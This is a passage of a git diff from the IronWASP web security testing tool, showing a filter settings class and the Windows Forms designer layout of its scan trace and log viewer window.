ScanLogId = -1; + + internal string Keyword = ""; + internal bool SearchRequestHeaders = false; + internal bool SearchResponseHeaders = false; + internal bool SearchRequestBody = false; + internal bool SearchResponseBody = false; + + internal string UrlMatchString = ""; + internal int UrlMatchMode = 0; + + internal List MethodsToIgnore = new List(); + internal List MethodsToCheck = new List(); + + internal List CodesToIgnore = new List(); + internal List CodesToCheck = new List(); + + internal List HostNamesToIgnore = new List(); + internal List HostNamesToCheck = new List(); + + internal List FileExtensionsToIgnore = new List(); + internal List FileExtensionsToCheck = new List(); + + } +} diff --git a/IronWASP/LogTraceViewer.Designer.cs b/Iron/LogTraceViewer.Designer.cs similarity index 90% rename from IronWASP/LogTraceViewer.Designer.cs rename to Iron/LogTraceViewer.Designer.cs index acc9bdf..c20f78e 100644 --- a/IronWASP/LogTraceViewer.Designer.cs +++ b/Iron/LogTraceViewer.Designer.cs @@ -1,1343 +1,1344 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class LogTraceViewer - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle21 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle22 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle23 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle24 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle35 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle36 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle37 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle38 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle39 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle40 = new System.Windows.Forms.DataGridViewCellStyle(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogTraceViewer)); - this.BaseSplit = new System.Windows.Forms.SplitContainer(); - this.ScanTraceTabs = new System.Windows.Forms.TabControl(); - this.ScanTraceOverviewTab = new System.Windows.Forms.TabPage(); - this.label2 = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.DisplayFilterLogsOnlyRB = new System.Windows.Forms.RadioButton(); - this.DisplayFilterAllRB = new System.Windows.Forms.RadioButton(); - this.DoDiffBtn = new System.Windows.Forms.Button(); - this.ScanTraceOverviewGrid = new System.Windows.Forms.DataGridView(); - this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanTraceDetailedInfoTab = new System.Windows.Forms.TabPage(); - this.ScanTraceMsgRTB = new System.Windows.Forms.RichTextBox(); - this.ScanTracePayloadEffectTab = new System.Windows.Forms.TabPage(); - this.AnalysisProgressBar = new System.Windows.Forms.ProgressBar(); - this.PayloadEffectTabs = new System.Windows.Forms.TabControl(); - this.SummaryTab = new System.Windows.Forms.TabPage(); - this.SummaryRTB = new System.Windows.Forms.RichTextBox(); - this.CodeTab = new System.Windows.Forms.TabPage(); - this.CodeGrid = new System.Windows.Forms.DataGridView(); - this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.KeywordsTab = new System.Windows.Forms.TabPage(); - this.KeywordsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.BodyTab = new System.Windows.Forms.TabPage(); - this.BodyGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SetCookieTab = new System.Windows.Forms.TabPage(); - this.SetCookieGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HeadersTab = new System.Windows.Forms.TabPage(); - this.HeadersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TimeTab = new System.Windows.Forms.TabPage(); - this.RoundtripGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanTraceHelpTab = new System.Windows.Forms.TabPage(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.LoadLogProgressBar = new System.Windows.Forms.ProgressBar(); - this.LogDisplayTabs = new System.Windows.Forms.TabControl(); - this.tabPage12 = new System.Windows.Forms.TabPage(); - this.RequestView = new IronWASP.RequestView(); - this.tabPage29 = new System.Windows.Forms.TabPage(); - this.ResponseView = new IronWASP.ResponseView(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.tabControl5 = new System.Windows.Forms.TabControl(); - this.tabPage19 = new System.Windows.Forms.TabPage(); - this.RequestDRV = new IronWASP.DiffResultView(); - this.tabPage22 = new System.Windows.Forms.TabPage(); - this.ResponseDRV = new IronWASP.DiffResultView(); - this.tabPage2 = new System.Windows.Forms.TabPage(); - this.ScriptedTestRequestBtn = new System.Windows.Forms.RichTextBox(); - this.ManualTestRequestBtn = new System.Windows.Forms.Button(); - this.MainLoadProgressBar = new System.Windows.Forms.ProgressBar(); - this.label3 = new System.Windows.Forms.Label(); - this.BaseSplit.Panel1.SuspendLayout(); - this.BaseSplit.Panel2.SuspendLayout(); - this.BaseSplit.SuspendLayout(); - this.ScanTraceTabs.SuspendLayout(); - this.ScanTraceOverviewTab.SuspendLayout(); - this.groupBox1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).BeginInit(); - this.ScanTraceDetailedInfoTab.SuspendLayout(); - this.ScanTracePayloadEffectTab.SuspendLayout(); - this.PayloadEffectTabs.SuspendLayout(); - this.SummaryTab.SuspendLayout(); - this.CodeTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CodeGrid)).BeginInit(); - this.KeywordsTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.KeywordsGrid)).BeginInit(); - this.BodyTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyGrid)).BeginInit(); - this.SetCookieTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.SetCookieGrid)).BeginInit(); - this.HeadersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.HeadersGrid)).BeginInit(); - this.TimeTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.RoundtripGrid)).BeginInit(); - this.ScanTraceHelpTab.SuspendLayout(); - this.LogDisplayTabs.SuspendLayout(); - this.tabPage12.SuspendLayout(); - this.tabPage29.SuspendLayout(); - this.tabPage1.SuspendLayout(); - this.tabControl5.SuspendLayout(); - this.tabPage19.SuspendLayout(); - this.tabPage22.SuspendLayout(); - this.tabPage2.SuspendLayout(); - this.SuspendLayout(); - // - // BaseSplit - // - this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseSplit.Location = new System.Drawing.Point(0, 0); - this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.BaseSplit.Name = "BaseSplit"; - this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // BaseSplit.Panel1 - // - this.BaseSplit.Panel1.Controls.Add(this.ScanTraceTabs); - // - // BaseSplit.Panel2 - // - this.BaseSplit.Panel2.Controls.Add(this.LoadLogProgressBar); - this.BaseSplit.Panel2.Controls.Add(this.LogDisplayTabs); - this.BaseSplit.Size = new System.Drawing.Size(884, 561); - this.BaseSplit.SplitterDistance = 329; - this.BaseSplit.TabIndex = 11; - this.BaseSplit.Visible = false; - // - // ScanTraceTabs - // - this.ScanTraceTabs.Controls.Add(this.ScanTraceOverviewTab); - this.ScanTraceTabs.Controls.Add(this.ScanTraceDetailedInfoTab); - this.ScanTraceTabs.Controls.Add(this.ScanTracePayloadEffectTab); - this.ScanTraceTabs.Controls.Add(this.ScanTraceHelpTab); - this.ScanTraceTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceTabs.Location = new System.Drawing.Point(0, 0); - this.ScanTraceTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceTabs.Name = "ScanTraceTabs"; - this.ScanTraceTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanTraceTabs.SelectedIndex = 0; - this.ScanTraceTabs.Size = new System.Drawing.Size(884, 329); - this.ScanTraceTabs.TabIndex = 2; - // - // ScanTraceOverviewTab - // - this.ScanTraceOverviewTab.Controls.Add(this.label3); - this.ScanTraceOverviewTab.Controls.Add(this.label2); - this.ScanTraceOverviewTab.Controls.Add(this.label1); - this.ScanTraceOverviewTab.Controls.Add(this.groupBox1); - this.ScanTraceOverviewTab.Controls.Add(this.DoDiffBtn); - this.ScanTraceOverviewTab.Controls.Add(this.ScanTraceOverviewGrid); - this.ScanTraceOverviewTab.Location = new System.Drawing.Point(4, 22); - this.ScanTraceOverviewTab.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceOverviewTab.Name = "ScanTraceOverviewTab"; - this.ScanTraceOverviewTab.Size = new System.Drawing.Size(876, 303); - this.ScanTraceOverviewTab.TabIndex = 0; - this.ScanTraceOverviewTab.Text = " Payloads, Scan Trace Messages and Logs "; - this.ScanTraceOverviewTab.UseVisualStyleBackColor = true; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(688, 19); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(159, 13); - this.label2.TabIndex = 49; - this.label2.Text = "and then press the button below"; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(686, 6); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(174, 13); - this.label1.TabIndex = 48; - this.label1.Text = "To diff two logs, first select two logs"; - // - // groupBox1 - // - this.groupBox1.Controls.Add(this.DisplayFilterLogsOnlyRB); - this.groupBox1.Controls.Add(this.DisplayFilterAllRB); - this.groupBox1.Location = new System.Drawing.Point(8, 10); - this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(327, 46); - this.groupBox1.TabIndex = 46; - this.groupBox1.TabStop = false; - this.groupBox1.Text = "Display Filter:"; - // - // DisplayFilterLogsOnlyRB - // - this.DisplayFilterLogsOnlyRB.AutoSize = true; - this.DisplayFilterLogsOnlyRB.Location = new System.Drawing.Point(214, 19); - this.DisplayFilterLogsOnlyRB.Name = "DisplayFilterLogsOnlyRB"; - this.DisplayFilterLogsOnlyRB.Size = new System.Drawing.Size(102, 17); - this.DisplayFilterLogsOnlyRB.TabIndex = 44; - this.DisplayFilterLogsOnlyRB.Text = "Show Logs Only"; - this.DisplayFilterLogsOnlyRB.UseVisualStyleBackColor = true; - this.DisplayFilterLogsOnlyRB.CheckedChanged += new System.EventHandler(this.DisplayFilterLogsOnlyRB_CheckedChanged); - // - // DisplayFilterAllRB - // - this.DisplayFilterAllRB.AutoSize = true; - this.DisplayFilterAllRB.Checked = true; - this.DisplayFilterAllRB.Location = new System.Drawing.Point(27, 19); - this.DisplayFilterAllRB.Name = "DisplayFilterAllRB"; - this.DisplayFilterAllRB.Size = new System.Drawing.Size(185, 17); - this.DisplayFilterAllRB.TabIndex = 45; - this.DisplayFilterAllRB.TabStop = true; - this.DisplayFilterAllRB.Text = "Show Logs and Trace Information"; - this.DisplayFilterAllRB.UseVisualStyleBackColor = true; - // - // DoDiffBtn - // - this.DoDiffBtn.Enabled = false; - this.DoDiffBtn.Location = new System.Drawing.Point(668, 34); - this.DoDiffBtn.Name = "DoDiffBtn"; - this.DoDiffBtn.Size = new System.Drawing.Size(202, 26); - this.DoDiffBtn.TabIndex = 42; - this.DoDiffBtn.Text = "Diff Selected Sessions"; - this.DoDiffBtn.UseVisualStyleBackColor = true; - this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); - // - // ScanTraceOverviewGrid - // - this.ScanTraceOverviewGrid.AllowUserToAddRows = false; - this.ScanTraceOverviewGrid.AllowUserToDeleteRows = false; - this.ScanTraceOverviewGrid.AllowUserToOrderColumns = true; - this.ScanTraceOverviewGrid.AllowUserToResizeRows = false; - this.ScanTraceOverviewGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanTraceOverviewGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ScanTraceOverviewGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanTraceOverviewGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle21.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle21.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle21.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle21.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle21.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle21.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle21.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanTraceOverviewGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle21; - this.ScanTraceOverviewGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ScanTraceOverviewGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SelectClmn, - this.Column4, - this.dataGridViewTextBoxColumn17, - this.dataGridViewTextBoxColumn18, - this.dataGridViewTextBoxColumn19, - this.dataGridViewTextBoxColumn20, - this.dataGridViewTextBoxColumn21, - this.Column5, - this.dataGridViewTextBoxColumn22, - this.Column6}); - this.ScanTraceOverviewGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanTraceOverviewGrid.GridColor = System.Drawing.Color.White; - this.ScanTraceOverviewGrid.Location = new System.Drawing.Point(0, 63); - this.ScanTraceOverviewGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceOverviewGrid.MultiSelect = false; - this.ScanTraceOverviewGrid.Name = "ScanTraceOverviewGrid"; - this.ScanTraceOverviewGrid.ReadOnly = true; - this.ScanTraceOverviewGrid.RowHeadersVisible = false; - this.ScanTraceOverviewGrid.RowHeadersWidth = 10; - this.ScanTraceOverviewGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanTraceOverviewGrid.Size = new System.Drawing.Size(876, 240); - this.ScanTraceOverviewGrid.TabIndex = 9; - this.ScanTraceOverviewGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanTraceOverviewGrid_CellClick); - // - // SelectClmn - // - this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SelectClmn.HeaderText = "Select"; - this.SelectClmn.Name = "SelectClmn"; - this.SelectClmn.ReadOnly = true; - this.SelectClmn.Width = 60; - // - // Column4 - // - this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column4.HeaderText = "ID"; - this.Column4.MinimumWidth = 30; - this.Column4.Name = "Column4"; - this.Column4.ReadOnly = true; - this.Column4.Width = 30; - // - // dataGridViewTextBoxColumn17 - // - this.dataGridViewTextBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - this.dataGridViewTextBoxColumn17.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn17.MinimumWidth = 60; - this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; - this.dataGridViewTextBoxColumn17.ReadOnly = true; - this.dataGridViewTextBoxColumn17.Width = 64; - // - // dataGridViewTextBoxColumn18 - // - this.dataGridViewTextBoxColumn18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - this.dataGridViewTextBoxColumn18.HeaderText = "Injected Payload"; - this.dataGridViewTextBoxColumn18.MinimumWidth = 200; - this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; - this.dataGridViewTextBoxColumn18.ReadOnly = true; - this.dataGridViewTextBoxColumn18.Width = 200; - // - // dataGridViewTextBoxColumn19 - // - this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle22.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn19.DefaultCellStyle = dataGridViewCellStyle22; - this.dataGridViewTextBoxColumn19.HeaderText = "Code"; - this.dataGridViewTextBoxColumn19.MinimumWidth = 50; - this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; - this.dataGridViewTextBoxColumn19.ReadOnly = true; - this.dataGridViewTextBoxColumn19.Width = 50; - // - // dataGridViewTextBoxColumn20 - // - this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle23.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn20.DefaultCellStyle = dataGridViewCellStyle23; - this.dataGridViewTextBoxColumn20.HeaderText = "Body Length"; - this.dataGridViewTextBoxColumn20.MinimumWidth = 80; - this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; - this.dataGridViewTextBoxColumn20.ReadOnly = true; - this.dataGridViewTextBoxColumn20.Width = 92; - // - // dataGridViewTextBoxColumn21 - // - this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle24.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn21.DefaultCellStyle = dataGridViewCellStyle24; - this.dataGridViewTextBoxColumn21.HeaderText = "MIME Type"; - this.dataGridViewTextBoxColumn21.MinimumWidth = 80; - this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; - this.dataGridViewTextBoxColumn21.ReadOnly = true; - this.dataGridViewTextBoxColumn21.Width = 87; - // - // Column5 - // - this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.Column5.DefaultCellStyle = dataGridViewCellStyle25; - this.Column5.HeaderText = "Time(ms)"; - this.Column5.MinimumWidth = 50; - this.Column5.Name = "Column5"; - this.Column5.ReadOnly = true; - this.Column5.Width = 50; - // - // dataGridViewTextBoxColumn22 - // - this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle26.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn22.DefaultCellStyle = dataGridViewCellStyle26; - this.dataGridViewTextBoxColumn22.HeaderText = "RS"; - this.dataGridViewTextBoxColumn22.MinimumWidth = 30; - this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; - this.dataGridViewTextBoxColumn22.ReadOnly = true; - this.dataGridViewTextBoxColumn22.Width = 30; - // - // Column6 - // - this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - this.Column6.HeaderText = "Trace Text"; - this.Column6.Name = "Column6"; - this.Column6.ReadOnly = true; - this.Column6.Width = 84; - // - // ScanTraceDetailedInfoTab - // - this.ScanTraceDetailedInfoTab.Controls.Add(this.ScanTraceMsgRTB); - this.ScanTraceDetailedInfoTab.Location = new System.Drawing.Point(4, 22); - this.ScanTraceDetailedInfoTab.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceDetailedInfoTab.Name = "ScanTraceDetailedInfoTab"; - this.ScanTraceDetailedInfoTab.Size = new System.Drawing.Size(876, 303); - this.ScanTraceDetailedInfoTab.TabIndex = 1; - this.ScanTraceDetailedInfoTab.Text = " Formatted Scan Trace Messages "; - this.ScanTraceDetailedInfoTab.UseVisualStyleBackColor = true; - // - // ScanTraceMsgRTB - // - this.ScanTraceMsgRTB.BackColor = System.Drawing.Color.White; - this.ScanTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanTraceMsgRTB.DetectUrls = false; - this.ScanTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceMsgRTB.Location = new System.Drawing.Point(0, 0); - this.ScanTraceMsgRTB.Name = "ScanTraceMsgRTB"; - this.ScanTraceMsgRTB.ReadOnly = true; - this.ScanTraceMsgRTB.Size = new System.Drawing.Size(876, 303); - this.ScanTraceMsgRTB.TabIndex = 0; - this.ScanTraceMsgRTB.Text = ""; - // - // ScanTracePayloadEffectTab - // - this.ScanTracePayloadEffectTab.Controls.Add(this.AnalysisProgressBar); - this.ScanTracePayloadEffectTab.Controls.Add(this.PayloadEffectTabs); - this.ScanTracePayloadEffectTab.Location = new System.Drawing.Point(4, 22); - this.ScanTracePayloadEffectTab.Name = "ScanTracePayloadEffectTab"; - this.ScanTracePayloadEffectTab.Size = new System.Drawing.Size(876, 303); - this.ScanTracePayloadEffectTab.TabIndex = 2; - this.ScanTracePayloadEffectTab.Text = " Payload Effect Analysis Results "; - this.ScanTracePayloadEffectTab.UseVisualStyleBackColor = true; - // - // AnalysisProgressBar - // - this.AnalysisProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.AnalysisProgressBar.Location = new System.Drawing.Point(299, 26); - this.AnalysisProgressBar.MarqueeAnimationSpeed = 10; - this.AnalysisProgressBar.Name = "AnalysisProgressBar"; - this.AnalysisProgressBar.Size = new System.Drawing.Size(236, 23); - this.AnalysisProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.AnalysisProgressBar.TabIndex = 34; - this.AnalysisProgressBar.Visible = false; - // - // PayloadEffectTabs - // - this.PayloadEffectTabs.Controls.Add(this.SummaryTab); - this.PayloadEffectTabs.Controls.Add(this.CodeTab); - this.PayloadEffectTabs.Controls.Add(this.KeywordsTab); - this.PayloadEffectTabs.Controls.Add(this.BodyTab); - this.PayloadEffectTabs.Controls.Add(this.SetCookieTab); - this.PayloadEffectTabs.Controls.Add(this.HeadersTab); - this.PayloadEffectTabs.Controls.Add(this.TimeTab); - this.PayloadEffectTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PayloadEffectTabs.Location = new System.Drawing.Point(0, 0); - this.PayloadEffectTabs.Margin = new System.Windows.Forms.Padding(0); - this.PayloadEffectTabs.Name = "PayloadEffectTabs"; - this.PayloadEffectTabs.Padding = new System.Drawing.Point(0, 0); - this.PayloadEffectTabs.SelectedIndex = 0; - this.PayloadEffectTabs.Size = new System.Drawing.Size(876, 303); - this.PayloadEffectTabs.TabIndex = 5; - this.PayloadEffectTabs.Visible = false; - // - // SummaryTab - // - this.SummaryTab.Controls.Add(this.SummaryRTB); - this.SummaryTab.Location = new System.Drawing.Point(4, 22); - this.SummaryTab.Name = "SummaryTab"; - this.SummaryTab.Size = new System.Drawing.Size(868, 277); - this.SummaryTab.TabIndex = 6; - this.SummaryTab.Text = " Summary "; - this.SummaryTab.UseVisualStyleBackColor = true; - // - // SummaryRTB - // - this.SummaryRTB.BackColor = System.Drawing.Color.White; - this.SummaryRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.SummaryRTB.DetectUrls = false; - this.SummaryRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.SummaryRTB.Location = new System.Drawing.Point(0, 0); - this.SummaryRTB.Name = "SummaryRTB"; - this.SummaryRTB.ReadOnly = true; - this.SummaryRTB.Size = new System.Drawing.Size(868, 277); - this.SummaryRTB.TabIndex = 1; - this.SummaryRTB.Text = ""; - // - // CodeTab - // - this.CodeTab.Controls.Add(this.CodeGrid); - this.CodeTab.Location = new System.Drawing.Point(4, 22); - this.CodeTab.Margin = new System.Windows.Forms.Padding(0); - this.CodeTab.Name = "CodeTab"; - this.CodeTab.Size = new System.Drawing.Size(868, 277); - this.CodeTab.TabIndex = 0; - this.CodeTab.Text = " Code Variation "; - this.CodeTab.UseVisualStyleBackColor = true; - // - // CodeGrid - // - this.CodeGrid.AllowUserToAddRows = false; - this.CodeGrid.AllowUserToDeleteRows = false; - this.CodeGrid.AllowUserToOrderColumns = true; - this.CodeGrid.AllowUserToResizeRows = false; - this.CodeGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.CodeGrid.BackgroundColor = System.Drawing.Color.White; - this.CodeGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle27.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle27.BackColor = System.Drawing.SystemColors.Control; - 